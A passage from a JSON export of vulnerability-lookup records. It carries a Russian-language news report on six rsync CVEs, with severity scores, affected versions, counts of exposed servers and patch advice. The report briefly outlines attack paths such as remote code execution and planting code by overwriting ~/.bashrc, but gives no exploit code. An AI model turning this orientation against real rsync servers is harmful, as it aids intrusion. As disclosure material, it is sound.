\u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T15:20:27.000000Z"}, {"uuid": "06562eb2-35cb-4b27-b179-47f66ffcb16a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "exploited", "source": "https://t.me/S_E_Reborn/5357", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 